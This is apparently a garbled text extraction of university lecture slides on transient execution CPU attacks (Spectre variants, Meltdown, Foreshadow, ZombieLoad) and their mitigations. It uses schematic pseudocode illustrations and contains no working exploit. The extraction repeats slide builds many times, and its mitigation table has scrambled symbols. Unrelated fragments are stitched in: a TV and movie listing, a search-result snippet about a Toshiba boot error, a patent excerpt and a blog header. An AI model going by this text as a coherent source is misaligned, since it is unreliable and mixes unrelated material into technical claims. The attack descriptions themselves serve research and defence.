Adopted in OSX/iOS
Now in every computer

Daniel Gruss — Graz University of Technology
Our patch

Adopted in

Linux
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
- Adopted in OSX/iOS
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
- Adopted in OSX/iOS

→ now in every computer
PIZZA
SPECIAL RECIPES
»A table for 6 please«
Speculative Cooking
»A table for 6 please«
index = 0;

char* data = "textKEY";

if (index < 4)
    Prediction
else
    0

LUT[data[index] * 4096]
index = 0;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0

Prediction
index = 0;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

then

Speculate

else

0
index = 0;

char* data = "textKEY";

if (index < 4)
{
    LUT[data[index] * 4096] = 0;
}
else
{
    Prediction
}

Execute
index = 1;

char* data = "textKEY";

if (index < 4)
    Prediction
else
    0

LUT[data[index] * 4096]
index = 1;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 1;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 1;

char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        0

Prediction
index = 2;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0
index = 2;

char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        Prediction
        0
index = 2;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0
index = 2;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0
index = 3;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 3;
char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0

Prediction
index = 3;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

then

t

Speculate

Prediction

else

0

Daniel Gruss — Graz University of Technology
index = 3;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0
index = 4;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0

Prediction
index = 4;

char* data = "textKEY";

if (index < 4) then

else

Prediction

LUT[data[index] * 4096] 0
index = 4;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0
index = 4;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

Execute

0
index = 5;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0

Prediction
LUT

index = 5;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0

Prediction

Spectre-PHT (v1)
index = 5;

char* data = "textKEY";

if (index < 4) {
    Speculate
    LUT[data[index] * 4096]
} else {
    Prediction
    0
}
index = 5;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

Execute

0
index = 6;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0

Prediction

Spectre-PHT (v1)
index = 6;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0

Prediction
index = 6;

char* data = "textKEY";

if (index < 4)
{
    LUT[data[index] * 4096]
}
else
{
    0
}
index = 6;

char* data = "textKEY";

if (index < 4)
{
    LUT[data[index] * 4096]
}
else
{
    0
}
index = 6;

if (index < 4)
then
LUT[data[index] * 4096]

Prediction

0

Spectre-STL (v4): Ignore sanitizing write access and use unsanitized old value instead
Animal* a = bird;

a->move()

fly() — swim()

swim()

LUT[data[a->m] * 4096]
Spectre v2

Animal* a = bird;

a->move()

LUT[data[a->m]  * 4096]

fly()

swim()  swim()  Speculate

Prediction

0
Animal* a = bird;

a->move()

fly()

swim()

Prediction

LUT[data[a->m] * 4096]

0
Animal* a = bird;

a->move();

LUT[data[a->m] * 4096]

Execute

fly()

Prediction

swim()

swim()

0
Animal* a = bird;

a->move()

LUT[data[a->m] * 4096]

fly()

swim()

Prediction
Animal* a = bird;

LUT[data[a->m] * 4096]
Animal* a = bird;

a->move()

fly()

swim()

LUT[data[a->m] * 4096]

0
Animal* a = fish;

LUT[data[a->m] * 4096]

Prediction

fly()

a->move()

fly()  swim()

0
Animal* a = fish;

LUT[data[a->m] * 4096]

Speculate

fly()

Prediction

0

a->move()

fly()

swim()
Animal* a = fish;

a->move()

fly()

fly()

swim()

LUT[data[a->m] * 4096]  0
Animal* a = fish;

LUT[data[a->m] * 4096]

a->move()

fly()

swim()

Prediction

Execute

0

Spectre v2

Spectre-BTB (v2): mistrain BTB!

Spectre-RSB (v5): mistrain RSB!

Daniel Gruss — Graz University of Technology
Animal* a = fish;

a->move()

fly()  swim()  swim()

Prediction

LUT[data[a->m] * 4096]  0
Animal* a = fish;

a->move()

fly()

swim()

swim()

LUT[data[a->m] * 4096] → 0

Spectre-BTB (v2): mistrain BTB → mispredict indirect jump/call
Animal* a = fish;

a->move()

fly()  
swim()

swim()

LUT[data[a->m] * 4096]  0

Spectre-BTB (v2): mistrain BTB → mispredict indirect jump/call

Spectre-RSB (v5): mistrain RSB → mispredict return
• v1.1: Speculatively write to memory locations

---

• v1.1: Speculatively write to memory locations
→ Many more gadgets than previously anticipated

---

• v1.1: Speculatively write to memory locations
  → Many more gadgets than previously anticipated
• v1.2: Ignore writable bit

---

v1.1: Speculatively write to memory locations
→ Many more gadgets than previously anticipated
v1.2: Ignore writable bit
→ = Meltdown-RW

Spectre

operation #n

prediction

operation #n+2

possibly architectural

transient execution

flush pipeline on wrong prediction

retire

predict CF/DF

Daniel Gruss — Graz University of Technology
Meltdown

operation #n

exception

raise

data

possibly architectural

time

operation #n+2

Meltdown

data dependency

transient execution

possibly architectural

Daniel Gruss — Graz University of Technology
Mistraining Location

Victim

<table>
<thead>
<tr>
<th>out-of-place/same-address-space</th>
<th>Congruent branch</th>
<th>Address collision</th>
</tr>
</thead>
<tbody>
<tr>
<td>in-place/same-address-space</td>
<td>Victim branch</td>
<td></td>
</tr>
</tbody>
</table>

Attacker

<table>
<thead>
<tr>
<th>out-of-place/cross-address-space</th>
<th>Congruent branch</th>
<th>Address collision</th>
</tr>
</thead>
<tbody>
<tr>
<td>in-place/cross-address-space</td>
<td>Shadow branch</td>
<td></td>
</tr>
</tbody>
</table>

Shared Branch Prediction State

Daniel Gruss — Graz University of Technology
**Classification Tree**

- **Transient cause?**
  - Spectre-type
    - **Microarchitectural buffer**
      - Spectre-PHT
      - Spectre-BTB
      - Spectre-RSB
      - Spectre-STL [32]
  - Meltdown-type
    - **Fault type**
      - Meltdown-NM [86]
      - Meltdown-AC
      - Meltdown-DE
      - Meltdown-PF
      - Meltdown-UD
      - Meltdown-SS
      - Meltdown-BR
      - Meltdown-GP [10, 41]
      - Meltdown-MPX [44]
      - Meltdown-PK
      - Meltdown-XP
      - Meltdown-BND

- **Prediction fault**
  - **In-place (IP) vs. out-of-place (OP)**
    - Cross-address-space
    - Same-address-space
    - PHT-CA-IP
    - PHT-CA-OP
    - PHT-SA-IP [54, 52]
    - PHT-SA-OP
    - BTB-CA-IP [54, 18]
    - BTB-CA-OP [54]
    - BTB-SA-IP
    - BTB-SA-OP [18]
    - RSB-CA-IP [64, 56]
    - RSB-CA-OP [56]
    - RSB-SA-IP [64, 56]
    - Meltdown-NM [86]
    - Meltdown-AC
    - Meltdown-DE
    - Meltdown-PF
    - Meltdown-UD
    - Meltdown-SS
    - Meltdown-BR
    - Meltdown-GP [10, 41]
    - Meltdown-MPX [44]
    - Meltdown-PK
    - Meltdown-XP
    - Meltdown-BND

**Daniel Gruss — Graz University of Technology**
Mitigations?
BLOCKCHAIN
Computer Architecture Today

Informing the broad computing community about current activities, advances and future directions in computer architecture.

Let’s Keep it to Ourselves: Don’t Disclose Vulnerabilities

by Gus Uht on Jan 31, 2019 | Tags: Opinion, Security
Table 1: Spectre-type defenses and what they mitigate.

| Attack          | Defense          | InvisiSpec | SafeSpec | DAWG | RSB | Stuffing | Poison Value | Index Masking | Site Isolation | SLH | YSNB | IBRS | IBPB | STIPB | Serialization | Taint Tracking | Timer Reduction | Slush | SSBD/SSBB |
|-----------------|------------------|------------|----------|------|-----|----------|---------------|----------------|----------------|--------------|------|------|------|------|-------|---------------|----------------|------------------|-------|-----------|
| Intel Spectre-PHT | □□□□□□□□●●●●○○○○○●■■■■□□ |            |          |      |     |          |                |                |                |               |     |     |      |      |       |               |                |                  |       |           |
| Spectre-BTB     | □□□□□□□□●●●●○○○○○●■■■■□□ |            |          |      |     |          |                |                |                |               |     |     |      |      |       |               |                |                  |       |           |
| Spectre-RSB     | □□□□□□□□●●●●○○○○○●■■■■□□ |            |          |      |     |          |                |                |                |               |     |     |      |      |       |               |                |                  |       |           |
| Spectre-STL     | □□□□□□□□●●●●○○○○○●■■■■□□ |            |          |      |     |          |                |                |                |               |     |     |      |      |       |               |                |                  |       |           |
| ARM Spectre-PHT | □□□□□□□□●●●●○○○○○●■■■■□□ |            |          |      |     |          |                |                |                |               |     |     |      |      |       |               |                |                  |       |           |
| Spectre-BTB     | □□□□□□□□●●●●○○○○○●■■■■□□ |            |          |      |     |          |                |                |                |               |     |     |      |      |       |               |                |                  |       |           |
| Spectre-RSB     | □□□□□□□□●●●●○○○○○●■■■■□□ |            |          |      |     |          |                |                |                |               |     |     |      |      |       |               |                |                  |       |           |
| Spectre-STL     | □□□□□□□□●●●●○○○○○●■■■■□□ |            |          |      |     |          |                |                |                |               |     |     |      |      |       |               |                |                  |       |           |
| AMD Spectre-PHT | □□□□□□□□●●●●○○○○○●■■■■□□ |            |          |      |     |          |                |                |                |               |     |     |      |      |       |               |                |                  |       |           |
| Spectre-BTB     | □□□□□□□□●●●●○○○○○●■■■■□□ |            |          |      |     |          |                |                |                |               |     |     |      |      |       |               |                |                  |       |           |
| Spectre-RSB     | □□□□□□□□●●●●○○○○○●■■■■□□ |            |          |      |     |          |                |                |                |               |     |     |      |      |       |               |                |                  |       |           |
| Spectre-STL     | □□□□□□□□●●●●○○○○○●■■■■□□ |            |          |      |     |          |                |                |                |               |     |     |      |      |       |               |                |                  |       |           |

Symbols show if an attack is mitigated (●), partially mitigated (○), not mitigated (○), theoretically mitigated (■), theoretically impeded (■), not theoretically impeded (□), or out of scope (◇).
Table 2: Reported performance impacts of countermeasures

<table>
<thead>
<tr>
<th>Defense</th>
<th>Impact</th>
<th>Performance Loss</th>
<th>Benchmark</th>
</tr>
</thead>
<tbody>
<tr>
<td>InvisiSpec</td>
<td>22%</td>
<td>SPEC</td>
<td></td>
</tr>
<tr>
<td>SafeSpec</td>
<td>3% (improvement)</td>
<td>SPEC2017 on MARSSx86</td>
<td></td>
</tr>
<tr>
<td>DAWG</td>
<td>2–12%, 1–15%</td>
<td>PARSEC, GAPBS</td>
<td></td>
</tr>
<tr>
<td>RSB Stuffing</td>
<td>no reports</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Retpoline</td>
<td>5–10%</td>
<td>real-world workload servers</td>
<td></td>
</tr>
<tr>
<td>Site Isolation</td>
<td>only memory overhead</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SLH</td>
<td>36.4%, 29%</td>
<td>Google microbenchmark suite</td>
<td></td>
</tr>
<tr>
<td>YSNB</td>
<td>60%</td>
<td>Phoenix</td>
<td></td>
</tr>
<tr>
<td>IBRS</td>
<td>20–30%</td>
<td>two sysbench 1.0.11 benchmarks</td>
<td></td>
</tr>
<tr>
<td>STIPB</td>
<td>30–50%</td>
<td>Rodinia OpenMP, DaCapo</td>
<td></td>
</tr>
<tr>
<td>IBPB</td>
<td>no individual reports</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Serialization</td>
<td>62%, 74.8%</td>
<td>Google microbenchmark suite</td>
<td></td>
</tr>
<tr>
<td>SSBD/SSBB</td>
<td>2–8%</td>
<td>SYSmrk®2014 SE &amp; SPEC integer</td>
<td></td>
</tr>
<tr>
<td>KAISER/KPTI</td>
<td>0–2.6%</td>
<td>system call rates</td>
<td></td>
</tr>
<tr>
<td>L1TF mitigations</td>
<td>-3–31%</td>
<td>various SPEC</td>
<td></td>
</tr>
</tbody>
</table>
How to find the next big thing ;}
Action, Comedy, Horror | Production
Columbus, Tallahassee, Wichita, and Little Rock move to the American heartland as they face off against evolved zombies, fellow survivors, and the growing pains of the snarky makeshift family.

Director: Ruben Fleischer | Stars: Emma Stone, Zoey Deutch, Woody Harrelson, Abigail Breslin

30. Love, Death & Robots (2019--)
TV-MA | 15 min | Animation, Short, Comedy
8.7 | Rate this
A collection of animated short stories that span various genres including science fiction, fantasy, horror and comedy.

Stars: Scott Whyte, Nolan North, Matthew Yang King, Michael Benyaer

31. iZombie (2015--)
TV-14 | 42 min | Comedy, Crime, Drama
7.9 | Rate this
A medical resident finds that being a zombie has its perks, which she uses to assist the police.

Stars: Rose McIver, Malcolm Goodwin, Rahul Kohi, Robert Buckley
ZOMBIELOAD ATTACK
When the kernel address is loaded in line 4, the CPU already issued the subsequent instructions as part of the out-of-order execution, and that corresponding μOPs wait in the reservation stage content of the kernel address to arrive. As see
Toshiba Boot Error - TechRepublic
https://www.techrepublic.com/.../toshia-boot-error/ - Diese Seite übersetzen
19.05.2007 - by CaptBilly1Eye - 12 years ago In reply to Toshiba Boot Error ... partition on the floppy disk, hard drive or a CD ROM to load the operating system. ... prior to this situation starting to occur, or if you find that the boot sequence already has the ... Leave the notebook plugged in and undisturbed until completed.

US5751983A - Out-of-order processor with a memory ...
www.google.com/patents/US5751983 - Diese Seite übersetzen
Application filed by Intel Corp ... Hence, a functional unit may often complete a first instruction (which logically precedes a second instruction in the ..... If a fault occurs with respect to the LOAD operation, it is marked as valid and completed.
Meltdown

www.tugraz.at

...mov al, byte [rcx]...

Execution Engine

Reorder buffer

Scheduler

Execution Units

ALU, AES, ... ALU, FMA, ... ALU, Vect, ... ALU, Branch

Load data

Store data

AGU

Memory Subsystem

Load Buffer Store Buffer

L1 Data Cache

DTLB

L2 Cache

LFB

STLB

L3 Cache

DRAM
Meltdown

www.tugraz.at

... mov al, byte [rcx] ...

Execution Engine

Reorder buffer

Scheduler

Execution Units

ALU, AES, ...

ALU, FMA, ...

ALU, Vect, ...

ALU, Branch

Load data

Load data

Store data

AGU

CDB

Memory Subsystem

Load Buffer

Store Buffer

L1 Data Cache

DTLB

LFB

STLB

L2 Cache

L3 Cache

DRAM

Nope! STOP EVERYTHING!!
...mov al, byte [rcx]...

Meltdown
...mov al, byte [rcx]...

Meltdown

Execution Engine

Scheduler

Reorder buffer

Execution Units

ALU, AES, ... ALU, FMA, ... ALU, Vect, ... ALU, Branch

Load data

Load data

Store data

Store data

AGU

CDB

Memory Subsystem

Load Buffer

Store Buffer

L1 Data Cache

DTLB

STLB

L2 Cache

LFB

L3 Cache

DRAM

Physical Page Number

Ignored

Ignored

X

P

RW

US

WT

UC

R

D

S

G

Nope! STOP EVERYTHING!!
Meltdown

Execution Engine

- Scheduler
- Execution Units
  - ALU, AES, ...
  - ALU, FMA, ...
  - ALU, Vect, ...
  - ALU, Branch

Memory Subsystem

- Load Buffer
- Store Buffer
- Load data
- Store data
- AGU
- L1 Data Cache
- L2 Cache
- L3 Cache
- DRAM

CDB

Scheduler

mov al, byte [rcx]

...
Meltdown

Execution Engine
- Reorder buffer
- Scheduler
- Execution Units
  - ALU
  - AES
  - FMA
  - Vect
  - Branch

Memory Subsystem
- Load Buffer
- Store Buffer
- L1 Data Cache
- L2 Cache
- L3 Cache
- DRAM

CDB

OP

OP

OP

OP

OP

OP

OP

OP

OP

mov al, byte [rcx]

Load data
Store data
AGU

Scheduler

Execution Units

Load data
Store data
AGU

OP

OP

OP

OP

OP

OP

OP

OP

OP

OP

CDB

Memory Subsystem

#n-1 ...

#n ppn vpn offset reg.no.

#n+1 ...

Load Buer
Store Buer

L1 Data Cache

DTLB

LFB

STLB

L2 Cache

L3 Cache

DRAM

 Physical Page Number

Ignored

Ignored

X

D

S

G

Ignored

P

RW

US

WT

UC

R

D

S

G

Ignored

Nope! STOP EVERYTHING!!
... mov al, byte [rcx]...

Scheduler

Execution Units

ALU, AES, ...
ALU, FMA, ...
ALU, Vect, ...
ALU, Branch

Load data
Load data
Store data
AGU

Load Buffer
Store Buffer

L1 Data Cache

DTLB
LFB

STLB
L2 Cache
L3 Cache
DRAM
Meltdown

Execution Engine

Reorder buffer

Scheduler

Execution Units

ALU, AES, ...
ALU, FMA, ...
ALU, Vect, ...
ALU, Branch

Load data
Store data
AGU

CDB

Load Buffer
Store Buffer

L1 Data Cache

DTLB
LFB

STLB

L2 Cache

L3 Cache

DRAM

Physical Page Number

P RW US WT UC R D S G Ignored

Physical Page Number

Ignored X

Nope! STOP EVERYTHING!!!

Scheduler

mov al, byte [rcx]

...
Foreshadow-VMM

CDB  Reorder buffer
      Scheduler

Execution Engine

Execution Units

ALU, AES, ...
ALU, FMA, ...
ALU, Vect, ...
ALU, Branch

Load data
Store data
AGU

Memory Subsystem

Load Buffer  Store Buffer

L1 Data Cache  DTLB  STLB

DTLB  LFB

L2 Cache

L3 Cache

DRAM
...mov al, byte [rcx]...

Foreshadow-VMM
Foreshadow-VMM

CDB → Reorder buffer → Scheduler → Execution Units

- Execution Engine:
  - Reorder buffer
  - Scheduler
  - Execution Units: ALU, AES, FMA, Vect, Branch, Load data, Store data, AGU

Memory Subsystem:
- Load Buffer → Store Buffer
- L1 Data Cache → DTLB → STLB → L2 Cache → L3 Cache → DRAM

...mov al, byte [rcx]...

www.tugraz.at
...mov al, byte [rcx]...
... mov al, byte [rcx] ...

Foreshadow-VMM

Execution Engine
- Scheduler
- Execution Units
  - ALU, AES, ...
  - ALU, FMA, ...
  - ALU, Vect, ...
  - ALU, Branch

Reorder buffer

Memory Subsystem
- Load Buer
- Store Buer
- L1 Data Cache
- DTLB
- STLB
- L2 Cache
- LFB
- L3 Cache
- DRAM

CDB

...
... mov al, byte [rcx] ...
Foreshadow-VMM

 Execution Engine

 Scheduler

 Execution Units

 ALU, AES, ...
 ALU, FMA, ...
 ALU, Vect, ...
 ALU, Branch

 Load data
 Load data
 Store data
 AGU

 Memory Subsystem

 L1 Data Cache
 DTLB
 LFB
 L2 Cache
 STLB
 L3 Cache
 DRAM

 Load Buffer
 Store Buffer

 ... mov al, byte [rcx] ...

 #n-1 ...
 #n  ppn, vpn, offset, reg.no.
 #n+1 ...

 www.tugraz.at
...mov al, byte [rcx]...
...mov al, byte [rcx]...

Foreshadow-VMM

Execution Engine

Reorder buffer

Scheduler

Execution Units

ALU, AES, ...

ALU, FMA, ...

ALU, Vect, ...

ALU, Branch

Load data

Load data

Store data

AGU

CDB

Memory Subsystem

Load Buffer

Store Buffer

L1 Data Cache

DTLB

L2 Cache

STLB

L3 Cache

LFB

DRAM

Guest Physical Page Number

Ignored

X

Ignored

P RW US WT UC R D S G

#n-1 ...

#n  ppn vpn offset reg.no.

#n+1 ...

www.tugraz.at
...mov al, byte [rcx]...

Foreshadow-VMM

Execution Engine

Scheduler

Execution Units

ALU, AES, ...

ALU, FMA, ...

ALU, Vect, ...

ALU, Branch

Load data

Load data

Store data

AGU

CDB

Memory Subsystem

#n-1 ...

#n+1 ...

Load Buffer

Store Buffer

L1 Data Cache

DTLB

LFB

STLB

L2 Cache

L3 Cache

DRAM

Guest Physical Page Number

Ignored

X
mov al, byte [rcx]
...mov al, byte [rcx]...
...mov al, byte [rcx]...
ZombieLoad

Execution Engine

Reorder buffer

Scheduler

Execution Units

ALU, AES, ...
ALU, FMA, ...
ALU, Vect, ...
ALU, Branch

AGU

CDB

Memory Subsystem

Load Buffer
Store Buffer

L1 Data Cache
DTLB
LFB

STLB
L2 Cache

L3 Cache

DRAM

mov al, byte [rcx]

complex load situation! need to reissue this load! STOP!!
... mov al, byte [rcx] ...

complex load situation! need to reissue this load! STOP!!
... mov al, byte [rcx] ...

ZombieLoad

Memory Subsystem

- Load Buffer
- Store Buffer
- L1 Data Cache
- DTLB
- L2 Cache
- STLB
- L3 Cache
- DRAM

Execution Engine

- Reorder buffer
- Scheduler
- Execution Units
  - ALU, AES, ...
  - ALU, FMA, ...
  - ALU, Vect, ...
  - ALU, Branch

CDB

... load data... need to reissue this load! STOP!!

Complex load situation! need to reissue this load! STOP!!
ZombieLoad

Execution Engine

Reorder buffer

Scheduler

Execution Units

ALU, AES, ...
ALU, FMA, ...
ALU, Vect, ...
ALU, Branch

Load data
Load data
Store data
AGU

CDB

Memory Subsystem

Load Buffer
Store Buffer

DTLB
L1 Data Cache

STLB
L2 Cache

L3 Cache
DRAM

... mov al, byte [rcx] ...

complex load situation! need to reissue this load! STOP!!
mov al, byte [rcx]
ZombieLoad

```
... mov al, byte [rcx] ...
```

Data can go to register

Complex load situation! Need to reissue this load! STOP!!
AT LEAST IT'S A LOCAL ATTACK
Truly remote attacks...

Just a few examples:

Remote timing attacks on crypto
- ThrowHammer
- NetHammer
- NetSpectre
Truly remote attacks...

Just a few examples:

- Remote timing attacks on crypto
Truly remote attacks...

Just a few examples:

- Remote timing attacks on crypto
- ThrowHammer and NetHammer
Truly remote attacks...

Just a few examples:

- Remote timing attacks on crypto
- ThrowHammer and NetHammer
- NetSpectre
How did we get here?

We have ignored microarchitectural attacks for many years:

- Crypto software should be fixed!
- ASLR is broken anyway!
- SGX and TrustZone are not part of the threat model!
- Rowhammer only affects cheap sub-standard modules!

For years we solely optimized for performance.
How did we get here?

We have ignored microarchitectural attacks for many years:

- attacks on crypto
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR
How did we get here?

We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”

Daniel Gruss — Graz University of Technology
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- Rowhammer
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- Rowhammer → “only affects cheap sub-standard modules”
How did we get here?

We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- Rowhammer → “only affects cheap sub-standard modules”
- for years we solely optimized for performance
... and we’re still optimizing for performance

- lower refresh rate = lower energy but more bit flips
... and we're still optimizing for performance

- lower refresh rate = lower energy but more bit flips
- ECC memory → fewer bit flips
... and we’re still optimizing for performance

- lower refresh rate = lower energy but more bit flips
- ECC memory → fewer bit flips
→ it’s an optimization problem
... and we’re still optimizing for performance

- lower refresh rate = lower energy but more bit flips
- ECC memory → fewer bit flips
→ it’s an optimization problem
  - what if “too aggressive” changes over time?
... and we’re still optimizing for performance

- lower refresh rate = lower energy but more bit flips
- ECC memory → fewer bit flips
→ it’s an optimization problem
  - what if “too aggressive” changes over time?
  → difficult to optimize with an intelligent adversary
Conclusions

- new class of software-based attacks
Conclusions

- new class of software-based attacks
- many problems to solve around microarchitectural attacks and especially transient execution attacks
Conclusions

- new class of software-based attacks
- many problems to solve around microarchitectural attacks and especially transient execution attacks
- dedicate more time into identifying problems and not solely in mitigating known problems
Transient Execution Attacks

Daniel Gruss
July 11, 2019

Graz University of Technology
References


